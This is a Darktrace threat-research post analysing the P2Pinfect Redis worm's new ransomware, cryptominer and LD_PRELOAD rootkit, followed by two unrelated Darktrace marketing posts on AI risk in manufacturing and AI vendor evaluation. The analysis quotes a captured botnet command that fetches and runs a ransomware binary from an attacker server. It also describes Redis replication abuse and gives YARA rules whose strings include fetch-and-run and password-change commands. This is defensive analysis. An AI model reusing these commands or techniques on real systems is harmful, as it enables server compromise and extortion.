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June 25, 2024

From Dormant to Dangerous: P2Pinfect Evolves to Deploy New Ransomware and Cryptominer

P2Pinfect, a sophisticated Rust-based malware, has evolved from a dormant spreading botnet to actively deploying ransomware and a cryptominer, primarily infecting Redis servers and using a P2P C2. The updated version includes a user-mode rootkit, but its ransomware impact is limited by the low privileges often associated with Redis.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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25
Jun 2024

Introduction: Ramsomware and cryptominer

P2Pinfect is a Rust-based malware covered extensively by Cado Security in the past [1]. It is a fairly sophisticated malware sample that uses a peer-to-peer (P2P) botnet for its command and control (C2) mechanism. Upon initial discovery, the malware appeared mostly dormant. Previous Cado research showed that it would spread primarily via Redis and a limited SSH spreader but ultimately did not seem to have an objective other than to spread. Researchers from Cado Security (now part of Darktrace) have observed a new update to P2Pinfect that introduces a ransomware and crypto miner payload.

Recap

Cado Security researchers first discovered it during triage of honeypot telemetry in July of 2023. Based on these findings, it was determined that the campaign began on June 23rd based on the TLS certificate used for C2 communications.

Initial access

The malware spreads by exploiting the replication features in Redis - where Redis runs in a distributed cluster of many nodes, using a leader/follower topology. This allows follower nodes to become an exact replica of the leader nodes, allowing for reads to be spread across the whole cluster to balance load, and provide some resilience in case a node goes down. [2]

This is frequently exploited by threat actors, as leaders can instruct followers to load arbitrary modules, which can in turn be used to gain code execution on the follower nodes. P2Pinfect exploits this by using the SLAVEOF command to turn discovered opened Redis nodes into a follower node of the threat actor server. It then uses a series of commands to write out a shared object (.so) file, and then instructs the follower to load it. Once this is done, the attacker can send arbitrary commands to the follower for it to execute.

Redis commands by P2Pinfect
Figure 1: Redis commands used by P2Pinfect for initial access (event ordering is non-linear)
P2Pinfect utilizes Redis initial access vector
Figure 2: P2Pinfect also utilizes another Redis initial access vector where it abuses the config commands to write a cron job to the cron directory

Main payload

P2Pinfect is a worm, so all infected machines will scan the internet for more servers to infect with the same vector described above. P2Pinfect also features a basic SSH password sprayer, where it will try a few common passwords with a few common users, but the success of this infection vector seems to be a lot less than with Redis, likely as it is oversaturated.

Upon launch it drops an SSH key into the authorized key file for the current user and runs a series of commands to prevent access to the Redis instance apart from IPs belonging to existing connections. This is done to prevent other threat actors from discovering and exploiting the server. It also tries to update the SSH configuration and restart SSH service to allow root login with password. It will also try changing passwords of other users, and will use sudo (if it has permission to) to perform privilege escalation.

The botnet is the most notable feature of P2Pinfect. As the name suggests, it is a peer-to-peer botnet, where every infected machine acts as a node in the network, and maintains a connection to several other nodes. This results in the botnet forming a huge mesh network, which the malware author makes use of to push out updated binaries across the network, via a gossip mechanism. The author simply needs to notify one peer, and it will inform all its peers and so on until the new binary is fully propagated across the network. When a new peer joins the network, non-expired commands are replayed to the peer by the network.

Updated main payload

The main binary appears to have undergone a rewrite. It now appears to be entirely written using tokio, an async framework for rust, and packed with UPX. Since it was first examined the payload, the internals have changed drastically. The binary is stripped and partially obfuscated, making static analysis difficult.

P2Pinfect used to feature persistence by adding itself to .bash_logout as well as a cron job, but it appears to no longer do either of these. The rest of its behaviors, such as the initial setup outlined previously, are the same.

Updated bash behavior

P2Pinfect drops a secondary binary at /tmp/bash and executes it. This process sets its command line args to [kworker/1:0H] in order to blend in on the process listing. /tmp/bash serves as a health check for the main binary. As previously documented, the main binary listens on a random port between 60100 to 60150 that other botnet peers will connect to. /tmp/bash periodically sends a request to the port to check it is alive and assumedly will respawn the main binary if it goes down.

System logs
Figure 3: Sysmon logs for the /tmp/bash payload

Miner payload becomes active

Previously, the Cado Security research team had observed a binary called miner that is embedded in P2Pinfect, however this appeared to never be used. However, Cado observed that the main binary dropping the miner binary to a mktmp file (mktmp creates a file in /tmp with some random characters as the name) and executing it. It features a built-in configuration, with the Monero wallet and pool preconfigured. The miner is only activated after approximately five minutes has elapsed since the main payload was started.

Wallet Details
Figure 4: Wallet details for the attacker’s supposed wallet 4BDcc1fBZ26HAzPpYHKczqe95AKoURDM6EmnwbPfWBqJHgLEXaZSpQYM8pym2Jt8JJRNT5vjKHAU1B1mmCCJT9vJHaG2QRL

The attacker has made around 71 XMR, equivalent to roughly £9,660. Interestingly, the mining pool only shows one worker active at 22 KH/s (which generates around £15 a month) which doesn’t seem to match up with the size of the botnet nor how much they have made.

Upon reviewing the actual traffic from the miner, it appears to be trying to make a connection to various Hetzner IPs on TCP port 19999 and does not start mining until this is successful. These IPs appear to belong to the c3pool mining pool and not the supportxmr pool, suggesting that the config may have been left as a red herring. Checking c3pool for the wallet address, there is no activity for the above wallet address beyond September 2023. It is likely that there is another wallet address being used.

New ransomware payload

Upon joining the botnet, P2Pinfect receives a command instructing it to download and run a new binary called rsagen, which is a ransomware payload.

{"i":10,"c":1715837570,"e":1734397199,"t":{"T":{"flag":5,"e":null,"f":null,"d":[0,0],"re":false,"ts":[{"retry":{"retry":5,"delay_ms":[10000,35000]},"delay_exec_ms":null,"error_continue":false,"cmd":{"Inner":{"Download":{"url":"http://129.144.180.26:60107/dl/rsagen","save":"/tmp/rsagen"}}}},{"retry":null,"delay_exec_ms":null,"error_continue":true,"cmd":{"Shell":"bash -c 'chmod +x /tmp/rsagen; /tmp/rsagen ZW5jYXJncyAxIGJlc3R0cmNvdmVyeUBmaXJlbWFpbC5jYyxyYW5kYm5vdGhpbmdAdHV0YW5vdGEuY29t'"}}]}}} 

It is interesting to note that across all detonations, the download URL has not changed, and the command JSON is identical. This suggests that the command was issued directly by the malware operator, and the download server may be an attacker-controlled server used to host additional payloads.

This JSON structure is typical of a command from the botnet. As mentioned previously, when a new botnet peer joins the network, it is replayed non-expired commands. The c and e parameters contain timestamps that are likely to be command creation and expiry times, it can be determined that the command to start the ransomware was issued on May 16, 2024 and will continue to be active until December 17. Other interesting parameters can also be seen, such as type 5 (exec on linux, exec on windows is type 6), as well as retry parameters. Clearly a large amount of thought and effort has been put into designing P2Pinfect, far exceeding the majority of malware in sophistication.

The base64 args of the binary cleanly decode to “encargs 1 [email protected],[email protected]” - which are the email addresses used in the ransom note for where to send payment confirmations to. It’s unknown what the encargs 1 part is for.

downloaded file
Figure 5: The main binary obediently downloads and the file is executed

Upon launch, rsagen checks if the ransom note already exists in either the current working directory (/tmp), or the home directory of the user the process is running under. If it does, it exits immediately. Otherwise, it will instead begin the encryption process. The exact cryptographic process is not known, however Cado’s assumption is that it generates a public key used to encrypt files, and encrypts the corresponding private key using the attacker’s public key, which is then added to the ransom note. This allows the attacker to then decrypt the private key and return it to the user after they pay, without needing to include any secrets or C2 on the client machine.

Ransom note
Figure 6: Ransom note, titled “Your data has been locked!.txt”

As they are using Monero, it is impossible to figure out how much they have earned so far from the campaign. 1 XMR is currently £136 as of writing, which is on the cheaper end of ransomware. As this is an untargeted and opportunistic attack, it is likely the victims are to be low value, so having a low price is to be expected.

After writing out the note, the ransomware iterates through all directories on the file system, and overwrites the contents with an encrypted version. It then appends .encrypted to the end of the file name.

Linux does not require file extensions on files, however the malware seems to only target files that have specific extensions. Instead of checking for particular extensions, it instead has a massive string which it then checks if the extension is contained in.

mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder

This makes it quite difficult to pick out a complete list of extensions, however going through it there are many file formats, such as py, sqlite3, sql, mkv, doc, xls, db, key, pfx, wav, mp3, and more.

The ransomware stores a database of the files it encrypted in a mktmp file with .lockedfiles appended. The user is then expected to run the rsagen binary again with a decryption token in order to have their files decrypted. Cado Security does not possess a decryption token as this would require paying the attackers.

As the ransomware runs with the privilege level of its parent, it is likely that it will be running as the Redis user in the wild since the main initial access vector is Redis. In a typical deployment, this user has limited permissions and will only be able to access files saved by Redis. It also should not have sudo privileges, so would not be able to use it for privilege escalation.

Redis by default doesn’t save any data to disk and is typically used for in-memory only caching or key value store, so it’s unclear what exactly the ransomware could ransom other than its config files. Redis can be configured to save data to files - but the extension for this is typically rdb, which is not included in the list of extensions that P2Pinfect will ransom.

With that in mind, it’s unclear what the ransomware is actually designed to ransom. As mentioned in the recap, P2Pinfect does have a limited ability to spread via SSH, which would likely compromise higher privilege users with actual files to encrypt. The spread of P2Pinfect over SSH is far more limited compared to Redis however, so the impact is much less widespread.

New usermode rootkit

P2Pinfect now features a usermode rootkit. It will seek out .bashrc files it has permission to modify in user home directories, and append export LD_PRELOAD=/home/<user>/.lib/libs.so.1 to it. This results in the libs.so.1 file being preloaded whenever a linkable executable (such as the ls or cat commands) is run.

The shared object features definitions for the following methods, which hijack legitimate calls to it in order to hide specific information:

  • fopen & fopen64
  • open & open64
  • lstat & lstat64
  • unlink & unlinkat
  • readdir & readdir64

When a call to open or fopen is hijacked, it checks if the argument passed is one of the PIDs associated with the main file, /tmp/bash, or the miner. If it is one of these, it sets errno to 2 (file not found) and returns. Otherwise, it passes the call to the respective original function. If it is a request to open /proc/net/tcp or /proc/net/tcp6, it will filter out any ports between 60100 and 60150 from the return stream.

Similarly with hijacked calls captured to lstat or unlink, it checks if the argument passed is the main process’ binary. It does this by using ends_with string function on the file name, so any file with the same random name will be hidden from stat and unlink, regardless of if it is in the right directory or is the actual main file.

Finally with readdir, it will run the original function, but remove any of the process PIDs or the main file from the returned results.

decompiled pseudocode for readdir function
Figure 7: The decompiled pseudocode for the hijacked readdir function

It is interesting to note that when a specific environment variable is set, it will bypass all of the checks. Based on analysis of the original research from Cado Security, this is likely used to allow shell commands from the other malware binaries to be run without interference by the rootkit.

Pseudocode for env_var check
Figure 8: The decompiled pseudocode for the env_var check

The rootkit is dynamically generated by the main binary at runtime, with it choosing a random env_var to set as the bypass string, and adding its own file name plus PIDs to the SO before writing it to disk.

Like the ransomware, the usermode rootkit suffers from a fatal flaw; if the initial access is Redis, it is likely that it will only affect the Redis user as the Redis user is only used to run the Redis server and won’t have access to other user’s home directories.

Botnet for hire?

One theory we had following analysis was that P2Pinfect might be a botnet for hire. This is primarily due to how the new ransomware payload is being delivered from a fixed URL by command, compared to the other payloads which are baked into the main payload. This extensibility would make sense for the threat actor to use in order to deploy arbitrary payloads onto botnet nodes on a whim. This suggests that P2Pinfect may accept money for deploying other threat actors' payloads onto their botnet.

This theory is also supported by the following factors:

  • The miner wallet address is different from the ransomware wallet address, suggesting they might be separate entities.
  • The built in miner uses as much CPU as it can, which often has interfered with the operation of the ransomware. It doesn’t make sense for an attacker motivated by ransomware to deploy a miner as well.
  • The rsagen payload is not protected by any of P2Pinfect’s defensive features, such as the usermode rootkit.
  • As discussed, the command to run rsagen is a generic download and run command, whereas the miner has its own custom command set.
  • main is written using tokio and packed with UPX, rsagen is not packed and does not use tokio.

On the other hand, the following factors seem to contradict the idea that the distribution of rsagen could be evidence of a botnet for hire:

  • For both the main P2Pinfect binary and rsagen, the compiler string is GCC(4.8.5 20150623 (Red Hat 4.8.5-44)). This shows that the author of P2Pinfect almost certainly compiled it, assuming that the strings have not been tampered with
  • Both of the payloads are written in Rust. It’s certainly possible that a third-party attacker could also have chosen Rust for the project, but combined with the above point, it seems less likely.

While it is possible that P2Pinfect might be engaging in initial access brokerage, the facts of the matter seem to point to it most likely not being the case.

Conclusion

P2Pinfect is still a highly ubiquitous malware, which has spread to many servers. With its latest updates to the crypto miner, ransomware payload, and rootkit elements, it demonstrates the malware author’s continued efforts into profiting off their illicit access and spreading the network further, as it continues to worm across the internet.

The choice of a ransomware payload for malware primarily targeting a server that stores ephemeral in-memory data is an odd one, and P2Pinfect will likely see far more profit from their miner than their ransomware due to the limited amount of low-value files it can access due to its permission level.

The introduction of the usermode rootkit is a “good on paper” addition to the malware - while it is effective at hiding the main binaries, a user that becomes aware of its existence can easily remove the LD preload or the binary. If the initial access is Redis, the usermode rootkit will also be completely ineffective as it can only add the preload for the Redis service account, which other users will likely not log in as.

Indicators of compromise (IoCs)

Hashes

main 4f949750575d7970c20e009da115171d28f1c96b8b6a6e2623580fa8be1753d9

bash 2c8a37285804151fb727ee0ddc63e4aec54d9460b8b23505557467284f953e4b

miner 8a29238ef597df9c34411e3524109546894b3cca67c2690f63c4fb53a433f4e3

rsagen 9b74bfec39e2fcd8dd6dda6c02e1f1f8e64c10da2e06b6e09ccbe6234a828acb

libs.so.1 Dynamically generated, no consistent hash

IPs

Download server for rsagen 129[.]144[.]180[.]26:60107

Mining pool IP 1 88[.]198[.]117[.]174:19999

Mining pool IP 2 159[.]69[.]83[.]232:19999

Mining pool IP 3 195[.]201[.]97[.]156:19999

Yara

Main

Please note the main binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectMain {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect main payload"
  strings:
    $s1 = "nohup $SHELL -c \"echo chmod 777  /tmp/"
    $s2 = "libs.so.1"
    $s3 = "SHELLzshkshcshsh.bashrc"
    $s4 = "curl http:// -o /tmp/; if [ ! -f /tmp/ ]; then wget http:// -O /tmp/; fi; if [ ! -f /tmp/ ]; then ; fi; echo  && /tmp/"
    $s5 = "root:x:0:0:root:/root:/bin/bash(?:([a-z_][a-z0-9_]*?)@)?(?:(?:([0-9]\\.){3}[0-9]{1,3})|(?:([a-zA-Z0-9][\\.a-zA-Z0-9-]+)))"
    $s6 = "/etc/ssh/ssh_config/root/etc/hosts/home~/.././127.0::1.bash_historyscp-i-p-P.ssh/config(?:[0-9]{1,3}\\.){3}[0-9]{1,3}"
    $s7 = "system.exec \"bash -c \\\"\\\"\""
    $s8 = "system.exec \"\""
    $s9 = "powershell -EncodedCommand"
    $s10 = "GET /ip HTTP/1.1"
    $s11 = "^(.*?):.*?:(\\d+):\\d+:.*?:(.*?):(.*?)$"
    $s12 = "/etc/passwd.opass123456echo -e \"\" | passwd && echo  > ; echo -e \";/bin/bash-c\" | sudo -S passwd"
  condition:
    uint16(0) == 0x457f and 4 of them
}

Bash

Please note the bash binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectBash {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect bash payload"
  strings:
    $h1 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 0A 59 E8 17 6C 01 00 84 C0 0F 85 0F 03 00 00 }
    $h2 = { 48 8B 9C 24 ?? ?? 00 00 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 09 59 E8 34 6C 01 00 84 C0 0F 85 AC 02 00 00 }
    $h3 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 03 59 E8 DD 6B 01 00 84 C0 0F 85 DF 03 00 00 }
  condition:
    uint16(0) == 0x457f and all of them
}

Miner (xmrig)

rule XMRig {
   meta:
      attack = "T1496"
      description = "Detects XMRig miner"
   strings:
      $ = "password for mining server" nocase wide ascii
      $ = "threads count to initialize RandomX dataset" nocase wide ascii
      $ = "display this help and exit" nocase wide ascii
      $ = "maximum CPU threads count (in percentage) hint for autoconfig" nocase wide ascii
      $ = "enable CUDA mining backend" nocase wide ascii
      $ = "cryptonight" nocase wide ascii
   condition:
      5 of them
}

rsagen

rule P2PinfectRsagen {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect rsagen payload"
  strings:
    $a1 = "$ENC_EXE$"
    $a2 = "$EMAIL_ADDRS$"
    $a3 = "$XMR_COUNT$"
    $a4 = "$XMR_ADDR$"
    $a5 = "$KEY_STR$"
    $a6 = "$ENC_DATABASE$"
    $b1 = "mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder"
    $c1 = "lock failedlocked"
    $c2 = "/root/homeencrypt"
  condition:
    uint16(0) == 0x457f and (2 of ($a*) or $b1 or all of ($c*))
}

libs.so.1

rule P2PinfectLDPreload {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect libs.so.1 payload"
  strings:
    $a1 = "env_var"
    $a2 = "main_file"
    $a3 = "hide.c"
    $b1 = "prefix"
    $b2 = "process1"
    $b3 = "process2"
    $b4 = "process3"
    $b5 = "owner"
    $c1 = "%d: [0-9A-Fa-f]:%X [0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu 2s"
    $c2 = "/proc/net/tcp"
    $c3 = "/proc/net/tcp6"
  condition:
    uint16(0) == 0x457f and (all of ($a*) or all of ($b*) or all of ($c*))
}

References:

  1. https://www.darktrace.com/blog/p2pinfect-new-variant-targets-mips-devices
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/  
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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May 28, 2026

From Efficiency to Exposure: How AI Adoption Is Creating Unseen Vulnerabilities on the Factory Floor

AI in manufacturingDefault blog imageDefault blog image

How AI agents impact the manufacturing industry

Security teams and IT personnel across the manufacturing industry are under constant pressure to protect production, maintain uptime, and safeguard critical assets but the rise of AI is bringing huge new opportunities alongside new cyber risks. Across manufacturing, AI is embedded into workflows, decision-making, and increasingly, autonomous AI agents are acting on behalf of employees and systems.  

Agentic systems are powerful because they can act independently, but that same autonomy also creates cyber and operational risk. Agents have extensive permissions and are capable of carrying out complex tasks, making decisions, and interacting with tools or external systems with little to no human intervention.

Unlike traditional AI models that perform predefined tasks, AI agents use advanced techniques to mimic human decision-making processes, dynamically adapting to new challenges, making decision and taking action based on their own judgement. They look like employees operationally but lack judgment, ethics, or fear of consequences like humans do. This means they can be easily manipulated by cybercriminals, and an AI agent embedded across an OT network creates threats that extend well beyond data exposure. For example, at BMW, AI identifies faults in welding processes as they occur. At its Spartanburg plant, AI monitors the weld of 300-400 metal studs onto every SUV frame to detect misplaced or faulty studs and correct them instantly. Corruption of BMW’s AI system could lead to catastrophic quality control errors.

Adopting agentic AI systems across manufacturing raises some concerns across security teams. New data from our State of AI Cybersecurity survey shows that 78% of manufacturing security professionals are worried about employee use of AI agents – their top concern. That’s followed by employee use of generative AI tools like CoPilot and ChatGPT, a worry for 76% of security professionals at manufacturing organizations. As these tools gain more access to business data and processes, and more autonomy within organizations, security teams, who today have minimal visibility of agent activity in their environments, increasingly have sensitive data exposure (a worry for 60%) and accidental policy and regulatory violations (59%) on their minds.

External AI-powered threats are evolving just as quickly

The same capabilities transforming manufacturing are also reshaping cyberattacks.

AI is enabling attackers to automate reconnaissance, refine targeting, and adapt in real time. What once required time and manual effort can now be executed continuously and at scale. Manufacturers are already seeing the impact. According to manufacturing security professionals we surveyed, 76% are already being impacted by AI-powered threats and 90% see AI increasing the success of social engineering attacks.

And the techniques themselves are evolving. Concerns across the manufacturing sector show growing anxiety about the range of AI-powered attack routes, most pressingly of adaptive malware that evolves in real-time – a prospect half (49%) of manufacturing security professionals we surveyed are worried by, a full 9% more than the average across industries. AI adaptive malware is followed by:

  • Automated vulnerability scanning and exploit chaining (48%) which has become even more pressing as Anthropic’s new Mythos AI Model supercharges vulnerability discovery
  • Hyper-personalized phishing campaigns (46%), which remain a mainstay in hackers’ arsenals, and AI has amplified their effectiveness by making phishing emails more convincing and harder to detect.

This is not just an increase in volume, it is a shift toward threats that evolve as they unfold - often faster than static defenses can respond.

Despite rising awareness, many manufacturers are not yet equipped to manage this shift. More than half (51%) say they are not adequately prepared for AI-driven threats, and only 37% have formal policies governing AI deployment.  

Securing AI through visibility, context, and guardrails

Addressing this challenge does not require manufacturers to slow innovation. It requires a different approach to security, one that can operate at the same speed and scale as AI. Three specific priorities are emerging for manufacturers looking to take advantage of the power of AI.

Visibility is foundational.  

Organizations need to understand where AI is being used, what it can access, and how it behaves across both IT and OT environments. Without that, risk cannot be measured or managed. It is no surprise that Darktrace’s research found that 91% of manufacturing security professionals said that they need to understand how AI makes decisions before trusting it. This is even more critical in operational settings where disruption has safety, environmental, financial, and reputational impacts.

Context is what turns visibility into action.  

In environments shaped by AI, normal behavior is constantly shifting. Detecting threats requires a behavioral approach; understanding patterns of life across the organization and identifying subtle deviations in real time – a step change in organizations’ traditional approach to security and risk management.

Guardrails ensure that agency does not become exposure  

As AI systems take on greater responsibility, organizations need clear boundaries around what they can do and when they can act independently. These controls must be embedded into systems themselves, not applied after the fact.  

Securing AI Agents Across Manufacturing IT and OT

The rise of agentic AI is transforming manufacturing - powering next-generation operations while reshaping the security landscape. This is not just an increase in threats, but a shift to autonomous systems, continuously evolving behaviors, and risks moving at machine speed. For organizations trying to grapple with the challenge of enabling AI while managing the risk, visibility, context and guardrails should be foundational.

Darktrace helps manufacturers build secure AI approaches by making those foundations possible. It provides visibility and real-time detection and response to unusual activity across IT and OT environments and allows organizations to understand AI activity from the prompts employees use and the agents they build to how those agents are behaving across the environment. For manufacturers scaling AI, this delivers a foundation for innovation without sacrificing control.

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About the author
Oakley Cox
Director of Product

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May 28, 2026

How to Evaluate AI Vendors: 5 Key categories for AI Adoption

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Understanding the AI buyers’ market

AI adoption has become a central topic of discussion in boardrooms, drawing growing interest from business leaders. Ultimately, organizations hope that an investment in AI technology will have tremendous returns. However, the process of buying an AI solution is not as straight forward as it appears on the surface.  

While business leaders may be eager to improve productivity across their operations, practitioners responsible for evaluating and selecting AI solutions may not always have the visibility or technical understanding needed to make the right decisions for their business. What is typically marketed as a holistic solution to their most critical problems is usually followed by uncertainty when AI tools are finally operationalized in real environments.

This guide is intended to support security leaders who are under growing pressure to adopt AI tools while navigating complex terminology, vendor claims, and increasingly crowded buying cycles. Ultimately, the goal is to help organizations evaluate and adopt AI in a safe, effective, and well-governed way. To support this, we’ve structured the evaluation framework across five key categories:

  1. Governance, safety, and data controls
  1. Data gathering and training
  1. Model and technique choice
  1. Performance and accuracy validation    
  1. Interpretability, adjustability, and transparency    

What buying AI looks like in cybersecurity

While investing in AI can bring immense benefits to your security team, first-time buyers of AI cybersecurity solutions may not know where to start. They will have to determine the type of tool they want, know the options available, and evaluate vendors. Research and understanding are critical to ensure purchases are worth the investment.  

With acceleration in AI adoption, accompanied by the recent boom in agentic AI and autonomous agents, CISOs must look “beneath the hood" of these tools to understand how they work, how they are governed, and to ensure the system is secure and compliant with internal policies.

Challenges in the AI buyers’ marketplace  

The AI security software market is buzzing with hype and flashy promises, which, understandably, needs to be addressed with due diligence. Potential buyers, especially in the cybersecurity space, are hesitant when it comes to allowing AI autonomous capabilities across their workflows, and a lack of vendor transparency can exacerbate those feelings.  

Reinforcing this sentiment, research from this year's Darktrace’s State of AI Cybersecurity report shows where confidence and hesitancy emerge amongst potential buyers. On the one hand, security professionals agree that they have good visibility into the logic and reasoning processes their AI solutions use. However, they lack the explainability and trust to allow AI to take independent remedial action.

  • 89% say they have good visibility into the reasoning behind the outputs generated by AI solutions
  • 92% say they need to understand how a defensive AI tool makes decisions before they can trust it
  • Only 14% say they allow AI to act independently, performing autonomous actions without human approval
  • 74% say they are limiting the autonomy of AI taking action in their SOC until explainability improves

Given the desire for trust and explainability we are seeing from buyers, it's important for them to be equipped with the right questions to ask vendors during an assessment or POV of AI tools in order to demystify marketing hype from real operational outcomes.

Below is a list of categories in which buyers can assess AI vendors or AI Service Providers (AISPs) to help reach safe adoption and maximize their ROI.  

5 categories of AI vendor assessment

Darktrace groups these AI-related questions into 5 categories: governance, data and training, model and technique choice, performance validation, and interpretability and adjustability. By asking questions regarding each of these 5 categories, buyers can gain a deeper understanding of how an AISP’s systems work and whether they suit their business requirements.

Governance, safety, and data controls

Governance of AI systems is critical for all AISPs. Whether their platform is based around a single model, or is a more complex, composite AI solution, strong governance is essential to ensure the system is safe, robust, and reliable.

A simple question you could ask is:

What AI governance policies and frameworks do you follow, and/or certifications do you currently maintain?

For more questions you can ask vendors, download the full guide here.

Darktrace is certified to the ISO/IEC 42001 standard, the world’s first AI Management System (AIMS) standard. ISO/IEC 42001 addresses the unique ethical and technical challenges AI poses by setting out a structured way to manage risks such as transparency, accuracy, and misuse. This includes a commitment to ethical AI development, and effective management and monitoring of AI systems both prior to and continually after release.

Data gathering and training

Accurate, meaningful, and unbiased data gathering is the first important step in producing any AI system. An AI model trained using inaccurate, unbalanced, or poor-quality training data will fail to perform optimally.

To alleviate concerns regarding training data quality, a question you could ask is:

What steps do you take to prevent bias in your AI models and training data?

For more questions, download the full guide here.

AISPs should be able to provide information about the steps taken, workflows followed, and auditing performed to reduce AI bias where appropriate. While it’s sometimes impossible to fully remove bias from an AI model, appropriate actions should be taken to mitigate or reduce bias where relevant.

Model and technique choice

Different AI techniques are optimal for different tasks. For example, research from Gartner suggests that relying on a single “one-size-fits-all" model can lead to data gaps, especially in highly specialized domains.

To achieve more accurate and robust AI solutions, AI leaders should move beyond using just one model or technique, embrace composite AI practices, and adopt a holistic AI system perspective.

A straightforward question you could ask is simply:

What type(s) of AI model(s) do you utilize in your solution?

For more questions, download the full guide here.

While specific detailed information about custom systems used by AISPs is likely proprietary, buyers should expect vendors to be able to provide an overview of the broad techniques used. This will allow you as a buyer to determine if the type of model is appropriate for your use case.

Performance and accuracy validation  

Testing and evaluation of performance is essential for all AI systems. Performance analysis should be performed both before release and continually after release to identify potential data or model drift.  

A question you could ask to understand an AISPs testing workflow is:

How do you audit, test, evaluate, verify, and validate your AI model outputs?

For more questions, download the full guide here.

Testing workflows will likely vary depending on the type of model – measurements relevant to one system may not always be relevant to others. Assessment of systems should also extend beyond these standard accuracy and robustness tests, and should also feature physical performance, such as latency and resource consumption.  

Interpretability, adjustability, and transparency  

AI systems are typically a black box, simply providing an output without an explanation of how that output was attained. Interpretability and transparency are critical to ensure that both SOC teams and end-users trust the outputs of a system to be accurate and meaningful.

A question you could ask is:

How do you promote a trust relationship between human analysts and AI outputs?

For more questions, download the full guide here.

In the context of cybersecurity, trust and interpretability are even more essential. This is particularly relevant for generative AI-based systems (including most AI Agents), where the risk of hallucination can reduce trust in responses.

Cybersecurity systems often need to perform autonomous actions to block incoming threats – an email filtering system may hold potentially dangerous emails; a firewall may block malicious inbound connections. If SOC teams can’t trust these systems to perform accurately, these systems may be limited or disabled, critically reducing their defensive power.

Darktrace as an AI-native cybersecurity vendor

Darktrace has been building and applying AI in cybersecurity for over a decade, developing its capabilities alongside an increasingly complex and fast‑moving threat landscape. This experience has resulted in a mature, multi-layered approach to AI, which continuously learns the normal patterns of each organization to understand behavior, interpret context, and identify meaningful deviations — without relying on predefined rules or known attack signatures. Over time, this has enabled a proven behavioral understanding that helps uncover subtle signals of risk that may otherwise be missed.

With the backing of our ISO/IEC 42001 certification, stakeholders, customers, and partners can be confident that Darktrace is responsibly, ethically, and safely developing its AI systems, and managing the use of AI in day-to-day operations in a compliant and secure manner.  

Explore the principles behind Darktrace’s responsible AI approach, informed by collaboration with global experts in academia and governments, detailing how accountability, explainability, and continuous validation are built into its cybersecurity technology.

How Darktrace secures AI systems

Darktrace now brings these capabilities to monitor and respond to risk generated from AI systems across organizations with Darktrace / SECURE AI. This solution analyzes how prompts, agents, and systems are used within the context of each organization, bringing every AI interaction into a single view. This unique approach helps teams understand intent, assess risk, protect sensitive data, and enforce policy across both human and AI agent activity.

Stay up to date

Sign up for the Secure AI Readiness Program here: This gives you exclusive access to the latest news on the latest AI threats, updates on emerging approaches shaping AI security, and insights into the latest innovations, including Darktrace’s ongoing work in this area.

Ready to talk with a Darktrace expert on securing AI? Register here to receive practical guidance on the AI risks that matter most to your business, paired with clarity on where to focus first across governance, visibility, risk reduction, and long-term readiness.  

Further Reading on AI in cybersecurity

When deciding to invest in an AI solution, it’s important to understand what this means for you and your organization. The questions presented here are only a starting point in understanding an AI solution and whether it is appropriate for your use case.  

Gain deeper knowledge on applications of AI in cybersecurity and Darktrace’s multi-layered AI in the AI Arsenal White Paper.

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About the author
Jamie Bali
Technical Author (AI) Developer
Your data. Our AI.
Elevate your network security with Darktrace AI